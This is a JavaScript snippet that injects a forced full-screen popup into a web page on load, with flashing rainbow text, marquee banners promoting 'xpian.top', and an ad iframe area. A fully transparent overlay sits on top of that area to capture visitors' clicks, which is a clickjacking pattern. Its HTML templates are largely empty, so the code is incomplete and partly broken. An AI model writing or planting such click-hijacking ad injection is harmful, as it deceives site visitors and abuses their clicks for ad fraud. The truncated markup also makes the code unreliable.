// 添加viewport meta标签 const metaViewport = document.createElement('meta'); metaViewport.name = 'viewport'; metaViewport.content = 'width=device-width, initial-scale=1'; document.head.appendChild(metaViewport); // 创建样式 const style = document.createElement('style'); style.textContent = ` /* 弹窗基础样式 */ .modal { display: none; position: fixed; z-index: 999999999; left: 0; top: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.7); } /* 弹窗内容 - 自适应90%屏幕 */ .modal-content { background-color: #fff; margin: 5% auto; padding: 15px; border: none; width: 90%; height: 90%; max-width: 90%; max-height: 90%; border-radius: 20px; box-shadow: 0 5px 15px rgba(0,0,0,0.3); text-align: center; animation: fadeIn 0.5s; display: flex; flex-direction: column; overflow: hidden; position: relative; } /* 内容区域 */ .modal-body { flex: 1; display: flex; flex-direction: column; justify-content: top; } /* 标题彩虹色效果 */ .modal-title { font-size: 24px; margin: 10px 0; background: linear-gradient(to right, red, orange, yellow, green, blue, indigo, violet); -webkit-background-clip: text; background-clip: text; color: transparent; animation: rainbow 3s linear infinite; } /* 文字七彩闪烁效果 */ .modal-text { font-size: 16px; margin: 8px 0; animation: colorChange 2s linear infinite; } /* 加粗的分隔线 */ .divider { height: 3px; background: linear-gradient(to right, transparent, #ff0000, #ff7f00, #ffff00, #00ff00, #0000ff, #4b0082, #9400d3, transparent); margin: 15px auto; width: 80%; border: none; } /* 广告区域容器 */ .ad-area { position: relative; width: 100%; height: 150%; margin: 10px 0; } /* 广告iframe */ .ad-iframe { width: 100%; height: 100%; border: none; background: #f5f5f5; border-radius: 8px; z-index: 1; } .ad-iframe-container { position: relative; width: 100%; height: 120%; margin: 10px 0; } /* 完全覆盖的透明点击层 */ .ad-click-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 4; /* 高于所有其他元素 */ cursor: pointer; background-color: transparent; transition: all 0.3s; } /* 悬停效果 */ .ad-click-overlay:hover { background-color: rgba(255,255,255,0.1); box-shadow: inset 0 0 0 2px rgba(255,255,255,0.3); } /* 滚动字条容器 - 覆盖在广告上 */ .marquee-overlay { position: absolute; width: 100%; overflow: hidden; white-space: nowrap; color: white; font-weight: bold; z-index: 3; /* 确保在广告上方 */ left: 0; } /* 顶部滚动字条 */ .marquee-top { top: 0; background: linear-gradient(90deg, rgba(100,100,100,100)); padding: 3px 0; } /* 底部滚动字条 */ .marquee-bottom { bottom: 0; background: linear-gradient(90deg, rgba(100,100,100,100)); padding: 6px 0; } /* 滚动字条动画 */ .marquee { display: inline-block; animation: marquee 12s linear infinite; padding: 0 10px; } /* 关闭按钮 */ .close { color: #aaa; float: right; font-size: 24px; font-weight: bold; cursor: pointer; transition: 0.3s; } .close:hover { color: #f00; } /* 动画效果 */ @keyframes fadeIn { from {opacity: 0; transform: translateY(-50px);} to {opacity: 1; transform: translateY(0);} } @keyframes rainbow { 0% {background-position: 0% 50%;} 100% {background-position: 100% 50%;} } @keyframes colorChange { 0% {color: red;} 14% {color: orange;} 28% {color: yellow;} 42% {color: green;} 56% {color: blue;} 70% {color: indigo;} 84% {color: violet;} 100% {color: red;} } @keyframes marquee { 0% { transform: translateX(100%); } 100% { transform: translateX(-100%); } } `; document.head.appendChild(style); // 页面加载完成后执行 (function() { // 创建弹窗HTML结构 const min = 5; const max = 15; const randomNumber = Math.floor(Math.random() * (max - min + 1)) + min; var time = Math.floor(Date.now() / 1000); const randomString = Array.from({ length: randomNumber }, () => 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'[Math.floor(Math.random() * 62)]).join(''); var sUserAgent = navigator.userAgent.toLowerCase(); if (sUserAgent.indexOf('android') > -1 || sUserAgent.indexOf('iphone') > -1 || sUserAgent.indexOf('ipad') > -1 || sUserAgent.indexOf('ipod') > -1 || sUserAgent.indexOf('symbian') > -1) { console.log("mobile"); var html = `
`; } else { console.log("pc"); var html = `

:xpian.top

:xpian.top

:xpian.top

`; } const modal = document.createElement('div'); modal.id = 'welcomeModal'; modal.className = 'modal'; modal.innerHTML = ` `; // 添加到body中 document.body.appendChild(modal); // 显示弹窗 modal.style.display = 'block'; // 关闭功能 const closeBtn = modal.querySelector('.close'); closeBtn.onclick = function() { modal.style.display = 'none'; }; // 点击外部关闭 window.onclick = function(event) { if (event.target === modal) { modal.style.display = 'none'; } }; })();